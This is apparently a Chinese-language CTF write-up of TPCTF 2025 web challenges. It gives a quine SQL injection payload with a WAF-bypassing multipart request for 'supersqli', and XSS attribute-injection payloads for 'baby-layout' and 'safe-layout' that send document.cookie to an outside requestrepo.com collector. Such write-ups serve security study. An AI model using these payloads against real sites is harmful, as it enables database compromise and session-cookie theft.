tpctf web复现
supersqli
def flag(request:HttpRequest): if request.method != 'POST': return HttpResponse('Welcome to TPCTF 2025') username = request.POST.get('username') if username != 'admin': return HttpResponse('you are not admin.') password = request.POST.get('password') users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password)) try: assert password == users[0].password return HttpResponse(os.environ.get('FLAG')) except: return HttpResponse('wrong password')
|
根据这个flag接口判断
输入的密码要与查询出来的密码相同
所以要么想办法获得真正的密码
要么输出和查询语句一样的语句
这种注入叫做quine注入
从基础示例理解:
replace( 'replace(".",char(46),".")', char(46), 'replace(".",char(46),".")');
|
但是实际payload要加很多东西来闭合
所以实际payload结构如下:
UNION SELECT 1,2, REPLACE( REPLACE( '[Inner_String]', CHAR(34), CHAR(39) ), CHAR(36), '[Outer_String]' ) || '
|
payload为
' UNION SELECT 1,2, REPLACE( REPLACE(' " UNION SELECT 1,2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") || "' ,CHAR(34),CHAR(39) ), CHAR(36), '" UNION SELECT 1,2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") || "' ) || '
|
之后需要绕过go的一个waf
防的很严,需要用一个特性绕过
使其不解析
https://blog.csdn.net/Thewei666/article/details/142408096
数据流:
POST /flag/ HTTP/1.1 Host: 127.0.0.1 sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 If-None-Match: "1564-5ee8764d17ec0" If-Modified-Since: Mon, 28 Nov 2022 12:56:03 Content-Type:multipart/form-data;boundary=----abcdefg Connection: close Content-Length: 453
Content-Disposition: form-data; name="username"
admin
Content-Disposition: form-data; name="password"; filename="password" Content-Disposition: form-data; name="password"
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")
|
成功获得
baby-layout
本题利用HTML属性注入
以及事件驱动执行
payload:
{"layout":"<img src='{{content}}'>"}
|
{"content":"x\" onerror=\"alert(1)","layoutId":1}
|
这样的话就成了:
<img src="x" onerror="alert(1)">
|
往接收的网站弹即可
{"content":"x\" onerror=\"fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)","layoutId":1}
|
safe-layout
aa<style>{{content}}<{{content}}></style>
|
img src="<style></style>" onerror="fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)"
|
实际上是这个效果:
aa<style>img src="<style></style>" onerror="fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)"<img src="<style></style>" onerror="fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)"></style>
|
不管格式发生了什么,
只要有完整的img标签,就会触发请求
请求不到就onerror带出cookie